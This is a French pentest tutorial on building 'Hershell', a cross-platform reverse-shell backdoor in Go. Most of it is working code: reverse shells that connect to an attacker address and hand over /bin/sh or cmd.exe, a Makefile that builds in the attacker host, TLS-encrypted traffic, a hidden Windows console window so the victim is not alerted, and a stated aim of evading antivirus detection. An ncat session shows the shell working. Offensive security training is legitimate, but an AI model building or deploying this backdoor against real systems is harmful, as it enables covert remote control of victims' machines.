Introduction

Un des outils très pratiques à toujours avoir sous la main lors d'un test d'intrusion est le framework Metasploit.

Cet environnement d'exploitation contient un nombre considérable de payloads, d'encoders, et de nombreux autres outils en périphérie. Meterpreter compte parmi les payloads les plus utilisés, en raison de la richesse de ses fonctionnalités. Il s'agit en synthèse d'un shell modifié avec des fonctionnalités offensives (exploitation et post-exploitation).

Les problèmes

Malheureusement, la popularité de cet outil présente un inconvénient : la plupart des solutions antivirales détectent sa signature. Ainsi, lors d'un pentest, le binaire généré pour exécuter Meterpreter peut se retrouver identifié et mis en quarantaine par une solution de sécurité.

Un autre problème pourrait venir du fait qu'aucune payload Meterpreter ne soit disponible pour l'architecture cible (BSD par exemple), nous force donc à coder notre propre porte dérobée.

Ce sont ces différentes raisons qui ont mené à la création de Hershell. Ce projet a pour but de réaliser une payload de type reverse shell, multi-plate-forme, non détectée par les solutions de sécurité, en utilisant un code source unique.

Pour ce faire, nous allons coder notre reverse shell en Go, langage compilé développé par Google.

Pourquoi Go ?

Il est vrai que de nos jours, la tendance est plutôt penchée vers le développement de scripts (ou d'applications complètes) Python. Pourquoi prendre la peine d'apprendre un nouveau langage ?

L'avantage de Go par rapport au Python, ou d'autres langages, est qu'il est possible de faire de la cross compilation de façon très simple, et sans avoir besoin de dépendances tierces (non présentes dans la bibliothèque standard du langage).

En effet, un binaire Go complet inclura tout ce qu'il faut pour que celui-ci s'exécute sur la plateforme (et l'architecture) ciblée.

Par conséquent, il est possible de construire un binaire exécutable pour différentes plateformes à partir d'un code source unique.

Objectifs

Les objectifs ici sont multiples:

  • avoir un code pouvant produire une payload de type reverse shell ;
  • la payload doit être exécutable sur différentes plateformes et architectures (Windows, Linux, Mac OS, ARM, etc.) ;
  • être paramétrable facilement ;
  • le trafic généré par cette payload doit être chiffré ;
  • en bonus, la capacité de contourner les signatures des antivirus (étant donné que nous codons notre propre porte dérobée).

Préparation de l'environnement

Téléchargez le package d'installation depuis votre gestionnaire de paquet favori, ou depuis le site officiel.

Une fois installé, il va falloir configurer votre environnement de développement. Pour ce faire, nous allons créer un répertoire dev qui sera la racine de notre environnement.

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev

Cet environnement aura donc la structure suivante:

  • bin contient les commandes exécutables et les binaires compilés
  • pkg contient les fichiers objets des différents packages téléchargés
  • src contient les répertoires sources de vos applications Go, ou des packages téléchargés

Mon premier reverse shell

Pour débuter, nous allons commencer par créer un simple reverse shell TCP.

Plutôt que de prendre le code ligne par ligne, une version commentée est fournie ci-dessous.

// filename: tcp.go

package main

import (
    "net"       // requis pour établir une connexion
    "os"        // requis pour pouvoir appeler os.Exit()
    "os/exec"   // requis pour exécuter des commandes sur le système cible
)

func main() {
    // Connexion au serveur de l'attaquant
    // En cas d'échec, on termine le programme
    conn, err := net.Dial("tcp", "192.168.0.23:2233")
    if err != nil {
        os.Exit(1)
    }
    // Création d'un processus /bin/sh
    cmd := exec.Command("/bin/sh")
    // Redirection des entrées et sorties de ce processus
    // vers la connexion ouverte
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    // Lancement du processus
    cmd.Run()
}

Dans un premier temps, nous établissons la connexion au serveur distant à l'aide de net.Dial. Le paquet net de la bibliothèque standard Go est une couche d'abstraction pour l'établissement de communication réseau utilisant les protocoles TCP ou UDP.

Pour en savoir plus sur ce que peut faire un paquet, un rapide tour dans la documentation (grâce à go doc) est souvent bien utile:

$ go doc net

package net // import "net"

Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.

Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...

Mais revenons-en à nos moutons.

Une fois la connexion établie (si elle échoue, le programme s'arrête), nous créons un processus (objet de type exec.Cmd) grâce à la fonction exec.Command. Les entrées et sorties de ce processus (stdin, stdout et stderr) sont redirigées sur notre connexion, et le processus est démarré.

On peut alors compiler et exécuter notre fichier :

$ go build tcp.go
$ ./tcp

Il nous suffit ensuite de démarrer un serveur d'écoute:

# Serveur d'écoute côté attaquant
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

On obtient bien notre reverse shell.

Rien de très transcendant jusqu'ici... D'ailleurs, la majorité des objectifs n’est pas remplie.

Un peu de paramétrage

Nous avons une base de code pour un reverse shell. Cependant, ce code doit être modifié avant chaque compilation, afin de pouvoir définir le port d'écoute ainsi que l'adresse IP du serveur de l'attaquant.

Cette méthode n'est pas très pratique, et c'est ici que rentre en jeu quelque chose d'assez sympathique : la définition de variables lors de l'édition de liens.

Il est possible, lors de la construction d'un binaire (via la commande go build), de définir la valeur de certaines variables du code source à compiler. Comme un exemple parle plus que de longs discours, reprenons le code précédent, en y intégrant cette fonctionnalité:

// filename: tcp.go

package main

import (
    "net"
    "os"
    "os/exec"
)

// variable renseignée à la compilation
var connectString string

func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

Nous avons simplement rajouté la ligne suivante:

var connectString string

Ainsi qu'un test vérifiant que cette variable contient bien une valeur (sans quoi, nous ne pourrions poursuivre l'exécution de notre programme).

Il ne nous reste qu'à compiler notre programme de la manière suivante:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

Et ... c'est tout. La définition de notre serveur d'attaque et du port de connexion est maintenant réalisée dynamiquement lors de la construction de l'exécutable.

Pour définir la valeur d'une variable, il faut la désigner de la sorte: package.nomVariable. Ces variables ne peuvent être que de type string.

Pour simplifier la phase de compilation, nous allons utiliser le Makefile suivant:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"

all:
    ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}

clean:
    rm -f ${OUTPUT}

Pour le reste de cet article, on pourra utiliser les variables d'environnement LHOST et LPORT pour définir l'adresse de l'attaquant et le port d'écoute:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

Multi-plate-forme

Maintenant que notre payload est paramétrable à la compilation, il est temps de la rendre multi-plate-forme.

Comme annoncé dans l'introduction, l'intérêt de coder en Go est de pouvoir créer un code source unique permettant de générer des exécutables pour différentes plateformes et architectures.

Dans notre cas, nous allons nous intéresser au package runtime. Ce package nous permet d'accéder à différentes variables, dont GOOS et GOARCH.

// filename: tcp_multi.go

package main

import (
    "net"
    "os"
    "os/exec"
    "runtime"   // requis pour accéder à GOOS
)

// variable renseignée à la compilation
var connectString string

func main() {
    var cmd *exec.Cmd
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    conn, err := net.Dial("tcp", connectString)
    if err != nil {
        os.Exit(1)
    }

    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    case "linux":
        cmd = exec.Command("/bin/sh")
    case "freebsd":
        cmd = exec.Command("/bin/csh")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

De façon assez évidente, ce que nous avons rajouté ici est le bloc comprenant le switch. Nous testons différentes valeurs correspondant à différents systèmes d'exploitation, en adaptant le processus à lancer sur chacun.

Le code ci-dessus pourrait être simplifié. En effet, le binaire /bin/sh étant présent sur tous les systèmes ciblés (autres que Windows), nous aurions pu écrire:

switch runtime.GOOS {
case "windows":
    // code spécifique pour Windows
    cmd = exec.Command("cmd.exe")
default:
    // Code commun aux autres OS
    cmd = exec.Command("/bin/sh")
}

Maintenant vient la tâche de cross-compilation. Le terme peut faire peur, mais dans les faits, c'est très simple à réaliser. À vrai dire, c'est tellement simple, que c'en est presque déroutant:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
 go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

Et voilà. Il suffit de définir les variables d'environnement GOOS et GOARCH pour créer un exécutable à destination de la plateforme concernée.

Chiffrement des communications

La plupart de nos critères semblent être remplis. Il est temps de nous attaquer au chiffrement des communications.

Ici, plusieurs choix sont possibles:

  • définir un protocole de communication propriétaire, et chiffrer les communications au niveau applicatif
  • utiliser un protocole robuste et éprouvé au niveau session (TLS)

Nous avons choisi ici la simplicité et la sûreté, à savoir utiliser TLS pour le chiffrement des communications.

L'utilisation de TLS en Golang est très simple. En effet, la bibliothèque standard comporte tout ce qui est nécessaire pour l'établissement de connexions TLS.

Côté client, il nous faudra un nouvel objet correspondant à la configuration de la connexion, de type &tls.Config.

C'est dans cet objet que nous pouvons spécifier différents paramètres, dont notamment la vérification des certificats du serveur.

Voici le même exemple de connexion, après refactorisation, et établissant une connexion TLS.

import (
    "crypto/tls"
    "runtime"
    "os"
    "os/exec"
    "net"
)

var connectString string

func GetShell(conn net.Conn) {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe")
    default:
        cmd = exec.Command("/bin/sh")
    }
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Stdin = conn
    cmd.Run()
}

func Reverse(connectString string) {
    var (
        conn *tls.Conn
        err  error
    )
    // Création d'un objet tls.Config
    // On accepte n'importe quel certificat du serveur,
    // sans faire de vérification
    config := &tls.Config{InsecureSkipVerify: true}
    if conn, err = tls.Dial("tcp", connectString, config); err != nil {
        os.Exit(-1)
    }
    // Pour éviter d'oublier ...
    defer conn.Close()
    // DémaSrage du shell
    GetShell(conn)
}

func main() {
    if len(connectString)  == 0 {
        os.Exit(1)
    }
    Reverse(connectString)
}

Comme nous pouvons le voir sur l'exemple ci-dessus, la création d'un socket TLS est très similaire à la création d'un socket TCP.

Seule la spécification de l'objet tls.Config est rajoutée. Autrement, l'objet de type tls.Conn obtenu se manipule de la même manière qu'un objet net.Conn.

Compilation conditionnelle

Nous l'avons vu plus haut, il est possible d'adapter l'exécution de notre programme en fonction de la plateforme sur laquelle il s'exécute.

Cependant, si vous tentez d'utiliser ce reverse shell sous Windows, vous remarquerez un petit effet indésirable. La fenêtre de l'application cmd.exe ne peut être masquée, ce qui n'est pas vraiment discret, et risque d'alerter la victime.

Il est heureusement possible, via l'attribut SysProcAttr de l'objet exec.Cmd de modifier ce comportement, comme nous le montre la documentation:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...

En regardant la documentation du module syscall.SysProcAttr sous Linux, nous obtenons les informations suivantes:

$ go doc syscall.SysProcAttr
type SysProcAttr struct {
    Chroot       string         // Chroot.
    Credential   *Credential    // Credential.
    Ptrace       bool           // Enable tracing.
    Setsid       bool           // Create session.
    Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
    Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
    Noctty       bool           // Detach fd 0 from controlling terminal
    Ctty         int            // Controlling TTY fd
    Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
    Pgid         int            // Child's process group ID if Setpgid.
    Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
    Cloneflags   uintptr        // Flags for clone calls (Linux only)
    Unshareflags uintptr        // Flags for unshare calls (Linux only)
    UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
    GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
    // GidMappingsEnableSetgroups enabling setgroups syscall.
    // If false, then setgroups syscall will be disabled for the child process.
    // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
    // users this should be set to false for mappings work.
    GidMappingsEnableSetgroups bool
}

En revanche, en allant faire un tour du côté du code source du package syscall, on peut observer que chaque architecture a sa propre implémentation.

Par ailleurs, en allant voir la déclaration du sous-module exec pour Windows, on constate que la structure SysProcAttr a une définition différente.

En effet, celle-ci possède un attribut HidWindow, de type booléen, permettant de masquer une fenêtre d'un programme au démarrage du programme.

C'est exactement ce dont nous avons besoin pour notre backdoor.

Pour régler notre problème, nous pourrions naïvement tenter l'implémentation suivante:


... switch runtime.GOOS { case "windows": cmd := exec.Cmd("cmd.exe") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} default: cmd := exec.Cmd("/bin/sh") } ...

Cependant, si l'on tente de compiler ce code pour créer un reverse shell à destination d'une plateforme autre que "Windows", une erreur de compilation surviendra. En effet, le compilateur tentera d'évaluer l'expression rajoutée, et ne trouvera pas l'attribut HideWindow dans le module syscall/exec_linux.go.

Par conséquent, il est nécessaire de modifier légèrement l'architecture de notre projet, et d'utiliser la compilation conditionnelle.

Il est en effet possible de compiler certains fichiers selon certaines conditions, en rajoutant, en début de fichier, des instructions spécifiques.

Par exemple, pour qu'un fichier source ne soit compilé que sur une plateforme Windows, on peut rajouter en première ligne du fichier:

// +build windows !linux !darwin !freebsd

import net
...

Ceci indiquera au compilateur que ce fichier ne devra pas être inclus lorsque la variable d'environnement GOOS aura pour valeur darwin, linux ou freebsd, mais sera inclus lorsque celle-ci aura pour valeur "windows".

Afin d'y voir plus clair, voici la structure que nous allons utiliser pour ce projet:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
    ├── shell_default.go
    └── shell_windows.go

Le fichier hershell.go contiendra le coeur de notre programme. Nous créons ensuite un module shell, qui contiendra deux fichiers shell_default.go (pour les systèmes Linux / Unix), et shell_windows.go avec le code spécifique pour Windows.

Certificate Pinning

Utiliser TLS pour sécuriser les échanges est une bonne chose, mais nos communications pourraient encore être victime d'attaques de type "Man-in-the-Middle". Pour éviter ce genre de scénario, nous allons implémenter une vérification du certificat, dite certificate pinning, proposé par le serveur.

La mise en place de cette vérification peut être implémentée par la fonction suivante:

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
        valid := false
        connState := conn.ConnectionState()
        for _, peerCert := range connState.PeerCertificates {
                hash := sha256.Sum256(peerCert.Raw)
                if bytes.Compare(hash[0:], fingerprint) == 0 {
                        valid = true
                }
        }
        return valid, nil
}

Cette fonction prend en paramètre un pointeur sur objet de type tls.Conn, ainsi qu'un tableau d'octets contenant le condensat au format SHA256 du certificat. Elle itère sur tous les objets PeerCertificates contenus dans l'objet tls.Conn jusqu'à en trouver un pour lequel l'empreinte est la même que celle fournie.

Si aucun certificat contenu dans cet objet ne correspond, la fonction retourne false.

Il suffit ensuite d'appeler cette fonction lors de la connexion au serveur distant, et de terminer le programme si l'empreinte du certificat proposé n'est pas valide:

func Reverse(connectString string, fingerprint []byte) {
        var (
                conn *tls.Conn
                err  error
        )
        config := &tls.Config{InsecureSkipVerify: true}
        if conn, err = tls.Dial("tcp", connectString, config); err != nil {
                os.Exit(ERR_HOST_UNREACHABLE)
        }

        defer conn.Close()

        // Vérification de l'empreinte du certificat
        if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
                os.Exit(ERR_BAD_FINGERPRINT)
        }
        RunShell(conn)
}

L'empreinte initiale est, quant à elle, générée lors de la compilation (dans le Makfile) grâce aux --ldflags:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...

Conclusion

Cet article est là pour montrer qu'il est relativement simple de réaliser des outils en Golang, et de façon assez rapide. Le côté multi plateforme (via la cross compilation, et la compilation conditionnelle) ainsi que la bibliothèque standard assez conséquente permet de réaliser pas mal de choses, sans parler des packages communautaires.

Nous sommes encore allé encore plus loin avec la possibilité de mettre à niveau le shell obtenu en session Meterpreter, ce qui fait de l'outil un moyen furtif de s'intégrer à Metasploit.

Le code complet de ce projet est disponible sur note dépôt Github. Si vous rencontrez des problèmes ou avez des suggestions, n'hésitez pas à ouvrir des tickets !

Auteur

Ronan Kervella <r.kervella -at- sysdream -dot- com>